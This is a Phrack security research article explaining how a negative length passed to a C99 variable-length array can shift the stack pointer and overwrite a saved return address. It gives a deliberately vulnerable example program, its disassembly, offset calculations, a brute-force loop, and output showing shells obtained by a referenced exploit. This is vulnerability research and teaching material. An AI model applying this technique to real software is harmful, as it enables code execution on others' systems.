Title : Shifting the Stack Pointer
Author : andrewg
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x0e of 0x14
|=----=[ Clutching at straws: When you can shift the stack pointer ]=----=|
|=-----------------------------------------------------------------------=|
|=----------=[ Andrew Griffiths <[email protected]> ]=------------=|
--[ Table of contents
1 - Introduction
2 - The story
2.1 - C99 standard note
3 - Breakdown
4 - Moving on
4.1 - Requirements for exploitability
5 - Links
6 - Finishing up
--[ 1 - Introduction
The paper documents a rare, but none-the less interesting bug in
variable sized arrays in C. This condition appears when a user
supplied length is passed via a parameter to a variable
declaration in a function.
As a result of this, an attacker may be able to "shift" the stack
pointer to point it to somewhere unexpected, such as above
the stack pointer, or somewhere else like the Global Offset
Table.
--[ 2 - The story
After playing a couple rounds of pool and drinking at a local
pub, nemo talked about some of the fruits after the days auditing
session. He mentioned that there was some interesting code
constructs which he hadn't fully explored yet (perhaps because
I dragged him out drinking).
Basically, the code vaguely looked like:
int function(int len, some_other_args)
{
int a;
struct whatever *b;
unsigned long c[len];
if(len > SOME_DEFINE) {
return ERROR;
}
/* rest of the code */
}
and we started discussing about that, and how we could take
advantage of that. After various talks about the compiler emitting
code that wouldn't allow it, architectures that it'd work on (and
caveats of those architectures), and of course, another round or
two drinks, we came to the conclusion that it'd be perfectly
feasible to exploit, and it would be a standard esp -=
user_supplied_value;
The problem in the above code, is that if len is user-supplied
it would be possible to make it negative, and move the stack
pointer move closer to the top of the stack, as opposed to closer
to the bottom (assuming the stack grows down.)
----[ 2.1 - C99 standard note
The C99 standard allows for variable-length array declaration:
To quote,
"In this example, the size of a variable-length array is computed
and returned from a function:
size_t fsize3 (int n)
{
char b[n+3]; //Variable length array.
return sizeof b; // Execution timesizeof.
}
int main()
{
size_t size;
size = fsize3(10); // fsize3 returns 13.
return 0;
}"
--[ 3 - Break down
Here is the (convoluted) C file we'll be using as an example.
We'll cover more things later on in the article.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
int func(int len, char *stuff)
{
char x[len];
printf("sizeof(x): %d\n", sizeof(x));
strncpy(x, stuff, 4);
return 58;
}
int main(int argc, char **argv)
{
return func(atoi(argv[1]), argv[2]);
}
The question arises though, what instructions does the compiler
generate for the func function?
Here is the resulting disassembly from "gcc version 3.3.5
(Debian 1:3.3.5-8ubuntu2)", gcc dmeiswrong.c -o dmeiswrong.
080483f4 <func>:
80483f4: 55 push %ebp
80483f5: 89 e5 mov %esp,%ebp ; standard function
; prologue
80483f7: 56 push %esi
80483f8: 53 push %ebx ; preserve the appropriate
; register contents.
80483f9: 83 ec 10 sub $0x10,%esp ; setup local
; variables
80483fc: 89 e6 mov %esp,%esi ; preserve the esp
; register
80483fe: 8b 55 08 mov 0x8(%ebp),%edx ; get the length
8048401: 4a dec %edx ; decrement it
8048402: 8d 42 01 lea 0x1(%edx),%eax ; eax = edx + 1
8048405: 83 c0 0f add $0xf,%eax
8048408: c1 e8 04 shr $0x4,%eax
804840b: c1 e0 04 shl $0x4,%eax
The last three lines are eax = (((eax + 15) >> 4) << 4); This rounds up
and aligns eax to a paragraph boundary.
804840e: 29 c4 sub %eax,%esp ; adjust esp
8048410: 8d 5c 24 0c lea 0xc(%esp),%ebx ; ebx = esp + 12
8048414: 8d 42 01 lea 0x1(%edx),%eax ; eax = edx + 1
8048417: 89 44 24 04 mov %eax,0x4(%esp) ; len argument
804841b: c7 04 24 78 85 04 08 movl $0x8048578,(%esp) ; fmt string
; "sizeof(x): %d\n"
8048422: e8 d9 fe ff ff call 8048300 <_init+0x3c> ; printf
8048427: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) ; len arg to
804842e: 00 ; strncpy
804842f: 8b 45 0c mov 0xc(%ebp),%eax
8048432: 89 44 24 04 mov %eax,0x4(%esp) ; data to copy
8048436: 89 1c 24 mov %ebx,(%esp) ; where to write
; ebx = adjusted esp + 12 (see 0x8048410)
8048439: e8 e2 fe ff ff call 8048320 <_init+0x5c> ; strncpy
804843e: 89 f4 mov %esi,%esp ; restore esp
8048440: b8 3a 00 00 00 mov $0x3a,%eax ; ready to return 58
8048445: 8d 65 f8 lea 0xfffffff8(%ebp),%esp
; we restore esp again, just in case it
; didn't happen in the first place.
8048448: 5b pop %ebx
8048449: 5e pop %esi
804844a: 5d pop %ebp
804844b: c3 ret ; restore registers and return.
What can we learn from the above assembly output?
1) There is some rounding done on the supplied value, thus meaning
small negative values (-15 > -1) and small values (1 - 15) will
become 0. This might possibly be useful, as we'll see below.
When the supplied value is -16 or less, then it will be possible
to move the stack pointer backwards (closer to the top of the
stack).
The instruction sub $eax, %esp at 0x804840e can be seen as add
$16, %esp when len is -16.[1]
2) The stack pointer is subtracted by the paragraph-aligned
supplied value.
Since we can supply an almost arbitary value to this, we can
point the stack pointer at a specified paragraph.
If the stack pointer value is known, we can calcuate the offset
needed to point the stack at that location in memory. This
allows us to modify writable sections such as the GOT and heap.
3) gcc can output some wierd assembly constructs.
--[ 4 - Moving on
So what does the stack diagram look like in this case? When we
reach 0x804840e (sub esp, eax) this is how it looks.
+------------+
0xc0000000 | ...... | Top of stack.
| ...... |
0xbffff86c | 0x08048482 | Return address
0xbffff868 | 0xbffff878 | Saved EBP
0xbffff864 | ...... | Saved ESI
0xbffff860 | ...... | Saved EBX
0xbffff85c | ...... | Local variable space
0xbffff858 | ...... | Local variable space
0xbffff854 | ...... | Local variable space
0xbffff850 +------------+ ESP
To overwrite the saved return address, we need to calculate what
to make it subtract by.
delta = 0xbffff86c - 0xbffff850
delta = 28
We need to subtract 12 from our delta value because of the
instruction at 0x08048410 (lea 0xc(%esp),%ebx) so we end up with 16.
If the adjusted delta was less than 16 we would end up overwriting
0xbffff85c, due to the paragraph alignment. Depending what is in
that memory location denotes how useful it is. In this particular
case its not. If we could write more than 4 bytes, it could be
useful.
When we set -16 AAAA as the arguments to dmeiswrong, we get:
andrewg@supernova:~/papers/straws$ gdb -q ./dmeiswrong
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set args -16 AAAA
(gdb) r
Starting program: /home/andrewg/papers/straws/dmeiswrong -16 AAAA
sizeof(x): -16
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Based with the above information, an exploit can be written for
dmeiswrong.c. See the attached file iyndwacyndwm.c for more
information.
The attached exploit code (iyndwacyndwm.c) works on my system
(gcc version: Debian 1:3.3.5-8ubuntu2, kernel: Linux supernova
2.6.10-5-686 #1 Fri Jun 24 17:33:34 UTC 2005 i686 GNU/Linux) with
success.
It may fail on the readers machine due to different initial stack
layout, and different compiler options / generated code. You may
need to play a bit with gdb a bit to get it working. However, this
technique should work fine for other people, they may just need to
play around a bit to get it working as expected.
To get it working for your system, have a look at what causes a
segfault (this can be achieved with a simple
"for i in `seq 0 -4 -128` ; do ./dmeiswrong $i AAAA ; done"
loop and seeing if the offset segfaults. The attached Makefile
implements this loop for you when you type make bf. You can then
replay the offset and args in GDB to see if EIP is pointing to
0x41414141.
Then its a matter of getting the stack layout correct for so the
exploit will run. In the included exploit, I've made it so it
tries to determine the exact offset to where the shellcode starts.
This technique is further explained in [2]. Otherwise, this
technique could be done via examining the heap layout at "_start"
(entry point of the executable) and looking at what is in memory
from the top, and seeing the offset, as its quite possible that
things have been moved around during different kernel releases.
In order to make it easier for people to play around with this
technique, I've included a precompiled dmeiswrong and iyndwacyndwm
files, which hopefully demonstate the problem. If iyndwacyndwm
does not work for you, try iyndwacyndwm-lame which tries the
standard "pick an offset from some value (like esp)" technique to
try and gain code execution on the host.
I haven't performed a wide scale test against vulnerable compilers,
but due to the code construct compilers would be most likely to
emit, I suspect a majority of compilers which support variable
sized stack arrays to be vulnerable. Thos which wouldn't be
vulnerable would be those which include code to verify if this is
not a problem during runtime.
Exploitability of this type of bug appears to be feasible on other
architectures, such as PPC, as I was able to get it to crash with
$pc being something not of my choice. (such as, 0x6f662878, and
sometimes $pc would be pointing at an invalid instruction on the
stack). This was done via just incrementing the value passed as
the len by 4 in a loop. Make bf should point out the exploitable
architectures as they should crash (eventually.)
I didn't have enough time to look into this further as the time to
submit the final paper drew to close, and PPC assembly and MacOSX
are not my strongest skills.
--[ 4.1 - Requirements for exploitability
In order for an architecture / Operating System to be exploitable,
the architecture needs to support having a stack which can be moved
about. If the stack contains embedded flow control information,
such as saved return addresses, it makes it significantly easier
to exploit, and partially less dependant on what value the stack
pointer contains. This in turn increases reliability in exploits,
especially remote ones.
Additionally, the compiler needs to:
- support variable sized stack arrays (which as demonstrated above,
is a feature of the C99 standard)
- not emit code that performs sanity checking of the changed stack
pointer. It is forseeable that if this issue gets a lot of public
attention, that various compiler security patches (such as
pro-police, stackguard, so fourth) will add detection of this
issue.
The direction the stack grows is not that relevant to the problem,
as if the x86 stack grew upwards, the instruction at 0x804840e,
would be written as addl %eax, %esp, and given the parameter len
as -16 would could be rewritten as subl $16, %esp, which would
allow access to the saved eip and saved frame pointer, amongst
other things.
The attached Makefile has a "bf" option which should allow you
to test if your architecture is vulnerable. In order to make this
work as expected, you'll need to supply the top of the stack for
your architecture, and a proper shellcode. A recommended test
shellcode is the trap instruction (int3 on x86, trap on ppc) which
generates a particular signature when the code is executed.
The output from the make bf command on my laptop is as follows:
andrewg@supernova:~/papers/straws/src$ make bf
for i in `seq 0 -4 -256` ; do ./iyndwacyndwm-lame $i ; done
sizeof(x): 0
sizeof(x): -4
sizeof(x): -8
sizeof(x): -12
sizeof(x): -16
sh-3.00$ exit
sizeof(x): -20
sh-3.00$ exit
sizeof(x): -24
sh-3.00$ exit
sizeof(x): -28
sh-3.00$ exit
sizeof(x): -32
/bin/sh: line 1: 16640 Segmentation fault ./iyndwacyndwm-lame $i
sizeof(x): -36
[ snipped a bunch of Segmentation fault messages ]
/bin/sh: line 1: 16648 Floating point exception./iyndwacyndwm-lame $i
sizeof(x): -68
/bin/sh: line 1: 16649 Floating point exception./iyndwacyndwm-lame $i
sizeof(x): -72
[ snipped a bunch of Floating point exception messages and segv ]
andrewg@supernova:~/papers/straws/src$
The make bf-trap command generates the following output:
for i in `seq 0 -4 -256` ; do ./iyndwacyndwm-lame-trap $i ; done
sizeof(x): 0
sizeof(x): -4
sizeof(x): -8
sizeof(x): -12
sizeof(x): -16
/bin/sh: line 1: 16983 Trace/breakpoint trap ./iyndwacyndwm-lame-trap $i
sizeof(x): -20
/bin/sh: line 1: 16984 Trace/breakpoint trap ./iyndwacyndwm-lame-trap $i
sizeof(x): -24
--[ 5 - Links
[1] http://www.eduplace.com/math/mathsteps/6/b/
[2] http://packetstorm.linuxsecurity.com/groups/netric/envpaper.pdf
--[ 6 - Finishing up
I'd like to greet all of the felinemenace people ((in no particular order)
nevar, nemo, mercy, ash, kwine, jaguar, circut, nd and n00ne), along with
pulltheplug people, especially arcanum.
Random greets to dme, caddis, Moby for his visual basic advice while
discussing this problem at the pub, and zen-parse.
It kinda goes without saying, but I'd like to thank all the people who have
supplied feedback for my article.
[ Need a challenge ? ]
[ Visit http://www.pulltheplug.org ]
[ Want to visit Australia and want a reason? ]
[ RUXCON is being held on 1st and 2nd of October - see you there ]
[ http://www.ruxcon.org.au/ ]
|=[ EOF ]=---------------------------------------------------------------=|
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